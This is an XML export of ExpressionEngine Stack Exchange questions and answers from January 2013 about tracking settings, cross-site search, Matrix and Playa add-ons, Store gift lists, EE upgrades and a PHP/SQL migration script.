  <row Id="5431" PostTypeId="2" ParentId="5428" CreationDate="2013-01-27T07:51:55.107" Score="5" Body="&lt;p&gt;I'm still not certain what your overall question is, but I can explain &lt;strong&gt;$env_config['disable_all_tracking'] = 'y';&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['disable_all_tracking']        = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is part of ExpressionEngine's option for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/handling_extreme_traffic.html&quot;&gt;Handling Extreme Traffic&lt;/a&gt;. If you &lt;code&gt;disable_all_tracking&lt;/code&gt; then you &lt;strong&gt;do not&lt;/strong&gt; have to individually set the options for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['enable_online_user_tracking'] = 'n';&#xA;$env_config['dynamic_tracking_disabling']  = '500';&#xA;$env_config['enable_hit_tracking']         = 'n';&#xA;$env_config['enable_entry_view_tracking']  = 'n';&#xA;$env_config['log_referrers']               = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These &lt;code&gt;disable_all_tracking&lt;/code&gt; option is generally set to 'n', but if your basing it off a master config that is trying to maximize performance, then it would be set to yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These options are best used for &lt;strong&gt;traffic spikes&lt;/strong&gt; or sites that are constantly hit heavily. For your average site, having tracking on is fine, and will provide you with a variety of information that can be used to help you measure the site's success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, many of these details are also provided by &lt;a href=&quot;http://www.google.com/analytics/&quot;&gt;Google Analytics&lt;/a&gt; (GA) and content delivery networks (CDN), such as &lt;a href=&quot;https://www.cloudflare.com&quot;&gt;CloudFlare&lt;/a&gt;. So as long as your site is configured to use an analytics program, those details are still available to you, just not via the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some developers leave this variables on by default, and I know others turn them off by default, so that is up to you for the site your building or managing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you need to deal with heavy traffic sites or just want to make a site that performs better, add Solspace's &lt;a href=&quot;http://www.solspace.com/downloads/PerformanceGuidelines.pdf&quot;&gt;Website Performance Guidelines&lt;/a&gt; to your reading list, and take a look at some of their &lt;a href=&quot;http://www.solspace.com/software/detail/static_page_caching/&quot;&gt;performance enhancing&lt;/a&gt; add-ons. You can also take a look at Matt Perry's &lt;a href=&quot;http://mattoperry.files.wordpress.com/2012/09/ee-scaling.pdf&quot;&gt;Make EE Faster&lt;/a&gt; presentation.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-27T08:07:16.777" LastActivityDate="2013-01-27T08:07:16.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5432" PostTypeId="1" AcceptedAnswerId="5435" CreationDate="2013-01-27T08:14:04.953" Score="1" ViewCount="200" Body="&lt;p&gt;Assume there are 10 separate EE installations: each installation is on its own domain (possibly with its own hosting), its own database, etc. Assume further that they have a particular Channel that is identical across all 10 sites (e.g. a &quot;Products&quot; channel that has the following fields: name, description, category, price).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to develop a separate site that can list all 10 sites' Products entries? And is there a way to allow a user of this new site to be able to search across the 10 sites (e.g. find all Products that are category &quot;toy&quot; order by price)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say MSM is not an option.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-27T09:15:51.287" Title="Searching across multiple installations" Tags="|multi-site-manager|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5433" PostTypeId="1" CreationDate="2013-01-27T08:40:42.077" Score="4" ViewCount="201" Body="&lt;p&gt;I have a template which channel's custom fields do not use neither Matrix nor Playa, but the template debugger shows about 60-70 times:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Calling Extension Matrix_ext/channel_entries_tagdata Calling Extension&#xA;  Class/Method: Playa_ext/channel_entries_tagdata&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="22" LastEditDate="2013-01-28T15:40:50.277" LastActivityDate="2013-01-28T15:40:50.277" Title="Matrix_ext/channel_entries_tagdata" Tags="|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5434" PostTypeId="2" ParentId="5432" CreationDate="2013-01-27T08:53:15.807" Score="0" Body="&lt;p&gt;Use JQuery / Javascript to load the various searches from the other sites and display all on one page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either that, or serverside, you'ld have to make a very elaborate plugin that does it, has to connect to all databases separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: or use a server side search and retrieval technology like Apache Lucene ( &lt;a href=&quot;http://en.wikipedia.org/wiki/Lucene&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Lucene&lt;/a&gt; ) or similar, and feed data into it.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-01-27T08:53:15.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5435" PostTypeId="2" ParentId="5432" CreationDate="2013-01-27T09:15:51.287" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.google.com/cse/&quot; rel=&quot;nofollow&quot;&gt;Google Custom Search&lt;/a&gt; Engine could handle the cross-site search. It allows you to create a search option that can be limited to one site or multiple sites. I believe there maybe a limit on the number of sites, but I recall it being higher than 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the 10+ sites consolidated to a single site? That's harder, if you want 'pure consolidation', since the entries would have same entry_ids, possibly similar or same product names, categories, etc. But if you don't want or need everything, and want to retain details on which site which data came from, you could look at RSS or XML, publish a feed from each site, that's imported into the consolidated site, using something like &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;Data Grab&lt;/a&gt; or &lt;a href=&quot;http://brandnewbox.co.uk/products/details/feed_parser&quot; rel=&quot;nofollow&quot;&gt;Feed Parser&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data Grab is more robust, Feed Parser is free. Either can pull data from one EE install into another, and you can add unique fields, for storing original site, and original entry_id for that site, if need be. If images are involved, you'd obviously want to reference the full url to the image on the site it was originally created on. This may require a find and replace on import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of pulling the data from multiple sources into a single install and stored in a database like this, is the data can be normalized and limited. If you only need name, price, description, image, and link to original, then everything can be stored into a single channel, with just the needed data. You can either then just search the new site, since it would send the user back to the original site, or you could still use Google CSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data imports can be automated, once the feeds are set-up and working, you can set-up a cron job to run once a day or every hour to find new entries and pull them over. With 10 sites, you may want to create 2 or more cron jobs and stagger them, so that sites 1-5 data are pulled at the top of the hour and sites 6-10 data is pulled at the bottom. That way, the site shouldn't behave sluggishly, on processing.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-27T09:15:51.287" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5436" PostTypeId="1" CreationDate="2013-01-27T12:26:32.263" Score="1" ViewCount="221" Body="&lt;p&gt;&lt;strong&gt;The Scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Store, Matrix, and Playa addons for an ecommerce site. I now need to add a Gift List section to the site. This is not the typical scenario as an admin user will create the list in the control panel (CP)—no front-end sign-up and users can't add products themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Constraints&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already using Store on other ecommerce parts of the site as a regular shop setup so I need all orders to still feed into the Store Orders section and the Store template variables available on the front-end as currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All SKU's must match a printed catalogue and they must all be unique within the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each gift needs a &lt;strong&gt;&lt;em&gt;Quantity Requested&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Quantity Received&lt;/em&gt;&lt;/strong&gt; value associated to it. At first thought you think you can use the &lt;em&gt;Limit Stock&lt;/em&gt; option in the &lt;em&gt;Store Product Details&lt;/em&gt; field but this would tie those values to each and every gift meaning that if it was requested at a later date by someone else with different quantities then it wouldn't be possible to enter it as the SKU would be a duplicate. The SKUs &lt;strong&gt;&lt;em&gt;have&lt;/em&gt;&lt;/strong&gt; to match those of a printed catalogue and in the system obviously they &lt;strong&gt;&lt;em&gt;have&lt;/em&gt;&lt;/strong&gt; to be unique. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to disassociate &lt;strong&gt;&lt;em&gt;Quantity Requested&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Quantity Received&lt;/em&gt;&lt;/strong&gt; from the product itself. If I were to create these as separate columns in a Matrix field I need a way to keep a running counter of products purchased, match them to the list, and increment the &lt;strong&gt;&lt;em&gt;Quantity Received&lt;/em&gt;&lt;/strong&gt; column in the Matrix field. The checkout is running on Store so I have to use Store's template variables and hooks to retrieve the details upon order completion and then somehow post them back to update the &lt;strong&gt;&lt;em&gt;Quantity Received&lt;/em&gt;&lt;/strong&gt; field in the EE CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Setup&lt;/strong&gt; &lt;em&gt;(not in full or including non-important fields for brevity):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel: Gifts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fields: Store Product Details&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel: Gift Lists&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fields: Matrix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within a matrix row I have a column for &lt;strong&gt;&lt;em&gt;Gift&lt;/em&gt;&lt;/strong&gt; (Playa field) to pull in a requested gift. Then a column for &lt;strong&gt;&lt;em&gt;Quantity Requested&lt;/em&gt;&lt;/strong&gt; and another for &lt;strong&gt;&lt;em&gt;Quantity Received&lt;/em&gt;&lt;/strong&gt;. Both of these fields are Number fields containing a simple integer. &lt;a href=&quot;http://cl.ly/MSlk&quot; rel=&quot;nofollow&quot;&gt;Looking like this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that setup the best way to handle things? If so, what is the best way to grab the values from a completed order run through Store and then update the appropriate entry in the &lt;strong&gt;&lt;em&gt;Gift Lists&lt;/em&gt;&lt;/strong&gt; channel? Would I be able to use Safecracker to post back and update values? Or is there a better way to do it in PHP? Recommendations?&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="150" LastEditDate="2013-02-06T14:38:12.397" LastActivityDate="2013-02-06T15:00:06.050" Title="How can I keep track of sales count with Store, Matrix, &amp; Playa?" Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5437" PostTypeId="1" CreationDate="2013-01-27T13:17:20.407" Score="1" ViewCount="117" Body="&lt;p&gt;I'm wanting to update my site (which has blogs for me, my wife, our dogs as well as discussion forums on home cheese making and extensive image galleries on wild mushrooms and wildflowers of Colorado high country) to EE2.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested this update offline and I think most of it will go well. We'll lose some functionality, but I've found replacements or can do without. (Still looking for an &quot;on this day&quot; replacement, see my other post.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My biggest concern is the loss of the Image Gallery in EE2.x. I have many hundreds of photos archived in three galleries, most with meaningful titles, descriptions and even comments. This gallery has been the source of photos published in books on mushrooms and wildflowers because the images are well documented and easy to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, I could migrate all of the photos to Flickr or maintain them natively in EE with Matrix, but that would mean manually moving hundreds and hundreds of photos and duplicating titles and descriptions, and likely losing the valuable comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am wondering if there is a way to keep my EE1.x gallery &quot;live&quot; and available, while also moving the blogs to EE2.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my thinking: create a new database and migrate EE1.x to that database and upgrade to EE2.x. Have my &quot;main&quot; site be EE2.x driven, but provide links to the old blog galleries still running under EE1.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried anything like this and what would you suggest as the way to manage the two sides in a single domain? (Root-level directory structure, how to set up index and path files, etc.?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, all this would be unnecessary if there was Image Gallery support in EE2.x. And, it has been rumored for a long time. Anyone know anything about that possibility?&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2013-01-29T08:53:52.953" Title="EE1.x and EE2.x sites side-by-side?" Tags="|ee2-upgrades|image-galleries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5438" PostTypeId="2" ParentId="5433" CreationDate="2013-01-27T13:18:57.293" Score="4" Body="&lt;p&gt;Playa and Matrix both use the &lt;code&gt;channel_entries_tagdata&lt;/code&gt; extension hook to do their thing. Extension hooks are called whenever that particular hook runs in EE's process, regardless of whether they may be needed anywhere on that individual page load. In this case, I can only assume you're returning 60-70 individual channel entries in your template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they are just function calls which in this case will return very quickly having done nothing. &lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-27T13:18:57.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5439" PostTypeId="1" CreationDate="2013-01-27T14:42:21.887" Score="3" ViewCount="538" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1548/pre-fill-matrix-field-when-creating-new-entry&quot;&gt;Pre-fill matrix field when creating new entry?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there a way to automatically populate a field with a fixed static value in the EE control panel publish page? Specifically in my case I'm looking to auto populate a cell within Matrix with a pre-determined fixed static value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Natively or with the help of an addon.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-28T19:08:21.693" Title="Auto populate a field? (In this case a Matrix cell)" Tags="|matrix|fields|automation|pre-populate|" AnswerCount="4" CommentCount="0" ClosedDate="2013-02-02T03:44:58.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="5440" PostTypeId="2" ParentId="5437" CreationDate="2013-01-27T14:46:23.253" Score="3" Body="&lt;p&gt;I haven't used EE1's Gallery feature for years now, so unfortunately my memory of this is hazy, but even in the EE1 days I felt Matrix just worked better for galleries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could look at using the excellent &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;Datagrab module&lt;/a&gt;:  for importing into a channel with the images going into the matrix field. I expect you'd be able to make a template in EE1 that would output the info as XML ready for importing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also worth checking out Pixel &amp;amp; Tonic's Assets for running galleries - I believe Datagrab can import into this as well.&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2013-01-27T14:46:23.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5441" PostTypeId="1" AcceptedAnswerId="5710" CreationDate="2013-01-27T14:49:36.737" Score="2" ViewCount="150" Body="&lt;p&gt;In my Playa field I've set a specific Channel, Author, and Status that the user will be able to filter on when on the EE publish page in the control panel. However it still presents a filter option to filter by Author and Status. The options available are only the ones that I set but even so I'd prefer to remove complexity and confusion by removing the option to add a specific filter — just search by typing in the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-02-01T16:23:57.910" Title="How can I remove filter options in Playa?" Tags="|playa|filter|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5442" PostTypeId="1" AcceptedAnswerId="5524" CreationDate="2013-01-27T15:54:38.203" Score="2" ViewCount="78" Body="&lt;p&gt;Just a very minor question but is there a way to have the modifiers panel contracted by default? Shipping an advanced panels both seem to be hidden by default and I'd like to do the same to modifiers to make things as clutter free and simple to use from a system administrator's point of view (they seem to get overwhelmed when they see so many open fields all at once when they only need price and SKU.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-02-04T13:10:12.303" LastActivityDate="2013-02-04T13:10:12.303" Title="Store: Hide modifiers section by default?" Tags="|add-on|expresso-store|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5443" PostTypeId="1" AcceptedAnswerId="5444" CreationDate="2013-01-27T16:02:16.103" Score="0" ViewCount="487" Body="&lt;p&gt;Can anyone help with the syntax to write ALL members 'Usernames' in a particular member Group to a custom_field in a channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each member would have one entry each in this channel and I need to pull their username into the channel before deleting the member.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-01-27T21:49:47.270" Title="SQL Query to write member username to custom channel field" Tags="|members|custom-fields|database|query|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5444" PostTypeId="2" ParentId="5443" CreationDate="2013-01-27T16:12:17.300" Score="1" Body="&lt;p&gt;Here's some simplified code (you asked for &quot;syntax&quot; and not actual code, so i assume you're familiar enough to write the actual code yourself?). You'd have to roll this into a PHP-enabled template and replace some variables with their actual names (or array members).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get all the &lt;code&gt;username&lt;/code&gt;s:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT member_id, username FROM exp_members WHERE group_id = X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, loop through those results with a &lt;code&gt;foreach&lt;/code&gt; statement, and grab the &lt;code&gt;entry_id&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id FROM exp_channel_titles WHERE member_id = $member_id AND channel_id = X LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then update like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update_string(&#xA;        'exp_channel_data',&#xA;        array('field_id_X' =&amp;gt; $username),&#xA;        'entry_id = $entry_id'&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, here's the code. First, backup your database, then create a new template, enable PHP on it, then put this in it (replace the appropriate variables values at the top of the script) and load it in your browser.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;$member_group_id = XX;&#xA;$channel_id = XX;&#xA;$field_id = XX;&#xA;&#xA;$members = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;    SELECT member_id, username &#xA;    FROM exp_members &#xA;    WHERE group_id = $member_group_id&#xA;&quot;);&#xA;if($members-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    foreach($members-&amp;gt;result_array() as $member)&#xA;    {&#xA;        extract($member);&#xA;        $entries = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;            SELECT entry_id &#xA;            FROM exp_channel_titles &#xA;            WHERE member_id = $member_id &#xA;            AND channel_id = $channel_id&#xA;            LIMIT 1&#xA;        &quot;);&#xA;        if($entries-&amp;gt;num_rows() &amp;gt; 0)&#xA;        {&#xA;            $entry_id = $entries-&amp;gt;row('entry_id');&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&#xA;                $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update_string(&#xA;                    &quot;exp_channel_data&quot;,&#xA;                    array(&quot;field_id_$field_id&quot; =&amp;gt; $username),&#xA;                    &quot;entry_id = $entry_id&quot;&#xA;                )&#xA;            );&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I strongly suggest you &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;read up on doing database queries in EE&lt;/a&gt; -- it's pretty straight forward and can make migration work like this a breeze.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-27T21:49:47.270" LastActivityDate="2013-01-27T21:49:47.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5445" PostTypeId="2" ParentId="5439" CreationDate="2013-01-27T18:27:32.020" Score="1" Body="&lt;p&gt;It seems that you would like to have new field type which can put for a matrix cell and this will only populate static text (not for inputting value/s). If so, a small field type need to be developed which should be supported with matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please shed more light on your need in the case i 'm incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-27T18:27:32.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5447" PostTypeId="1" AcceptedAnswerId="5448" CreationDate="2013-01-27T18:37:17.430" Score="3" ViewCount="212" Body="&lt;p&gt;Hope this is OK to ask here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a relatively simple EE site set up, and I am soon looking to expand the sites scope by adding the option for business owners to be able to post an advert/description of their business to the site. The advert will be entered via a safecracker form on the front end, and will become an entry into the relevant channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I want to charge a yearly fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently looking at the possible options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. Charge a yearly subscription for the actual ad. Therefore anyone can add an advert, and pay on a &quot;per ad&quot; basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. Charge the business a yearly fee for access to the &quot;advertisers&quot; member group.&#xA;Once they have paid for access and become an advertiser, allow them to access the safecracker forms to upload their ad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I do not mind which scenario I take, but I am looking at the possible options for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I am aware, the only two add-ons that will allow me to create this functionality are CartThrob (together with the new Subscriptions add-on) or Membrr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I thought Membrr, as it would allow me to implement option 1 (and 2 I think!), but I have heard a few reports that it is not the easiest to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen recommendations for CT, although the initial price is steep, and I think it is probably a bit overkill in terms of functionality for what I want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone had any experience they can share, or suggest another way of adding this functionality.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-01-28T11:02:59.387" Title="Recurring subscription for posting channel entries" Tags="|cartthrob|ecommerce|payment-gateway|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5448" PostTypeId="2" ParentId="5447" CreationDate="2013-01-27T18:42:38.987" Score="1" Body="&lt;p&gt;I would suggest you to use Membrr module (&lt;a href=&quot;http://www.membrr.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.membrr.com/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Membrr module has a very good feature of &quot;Channel Protection&quot; which seems to fit perfectly according to your need and it have much less price than CT :).&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-27T18:42:38.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5449" PostTypeId="1" AcceptedAnswerId="5452" CreationDate="2013-01-27T19:02:29.970" Score="1" ViewCount="1065" Body="&lt;p&gt;This is taken from &lt;a href=&quot;http://ellislab.com/forums/viewthread/228863/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; previous thread but I still can't get the answer. Can someone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I am looking to be able to display different sidebar options dependant on what option is picked in a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel = page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Field = page_sidebar_options - which is a select dropdown with 6 options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embed Templates = sidebar_default, sidebar_opt_1, sidebar_opt_2 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot; disable=&quot;member_data&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;{embed=&quot;include/{page_sidebar_options}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The answer given on the EE forums hasn't worked for me. I can get my page to display &quot;sidebar_default&quot;, &quot;sidebar_opt_1&quot; etc but not the actual code itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2013-01-27T20:10:38.200" Title="Display Choice from Select Dropdown Custom Field in Sidebar" Tags="|channel-entries|custom-fields|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5450" PostTypeId="1" AcceptedAnswerId="5454" CreationDate="2013-01-27T19:34:44.090" Score="0" ViewCount="207" Body="&lt;p&gt;Another question! I'm in the middle of a site redesign which has got me thinking about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am displaying multiple entries from a channel, i.e on a listing page, does the channel entries tag have to be part of a list &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; etc in order to display correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my current design I have all my listing pages as &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; lists, but in my redesign I designed a listing page with multiple entries based on a recurring div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Title&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;span&amp;gt;Date&amp;lt;/span&amp;gt;&#xA;  &amp;lt;p&amp;gt;Description&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Title 2&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;span&amp;gt;Date 2&amp;lt;/span&amp;gt;&#xA;  &amp;lt;p&amp;gt;Description 2&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Therefore if I wrapped the channel entries tag (with a limit of 10) around the first container div, and passed the fields through, would it then give me 10 repeated div's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is an obvious or stupid question, but I am still learning EE, and the tuts that I followed when building all worked of lists items for multi entries.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-01-27T20:18:32.260" Title="Multi-entry Channel Entries need to be a list?" Tags="|channel-entries|channel|list|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5451" PostTypeId="2" ParentId="5439" CreationDate="2013-01-27T19:59:14.803" Score="3" Body="&lt;p&gt;You can use the instructions text of the custom field to insert some javascript where you can populate the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1548/pre-fill-matrix-field-when-creating-new-entry/1551&quot;&gt;Pre-fill matrix field when creating new entry?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-27T19:59:14.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
